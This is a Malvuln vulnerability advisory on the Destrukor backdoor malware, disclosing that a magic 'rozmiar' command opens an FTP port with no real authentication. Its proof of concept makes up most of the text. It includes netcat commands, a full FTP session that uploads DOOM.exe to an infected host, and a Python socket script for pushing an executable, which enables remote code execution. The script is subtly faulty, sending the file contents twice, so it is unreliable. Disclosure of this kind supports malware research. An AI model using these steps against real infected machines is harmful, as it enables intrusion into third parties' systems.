Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/c790749f851d48e66e7d59cc2e451956.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Destrukor.20
Vulnerability: Authentication Bypass 
Description: The malware listens on TCP port 6969. However, after sending a specific cmd "rozmiar" the backdoor returns "moznasciagac" in Polish "you can download" and port 21 opens. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Family: Destrukor
Type: PE32
MD5: c790749f851d48e66e7d59cc2e451956
Dropped files: sys32.exe
Vuln ID: MVID-2022-0626
Disclosure: 07/30/2022

Exploit/PoC:
C:\>nc64.exe 192.168.18.125 6969
rozmiar
 moznasciagac

C:\>nc64.exe 192.168.18.125 21
220 ICS FTP Server ready.
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP \
250 CWD command successful. "C:/" is current directory.
MKD HATE
257 'C:\HATE': directory created.
PASV
227 Entering Passive Mode (192,168,18,125,232,131).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.125"
PORT=59523
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()

    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()


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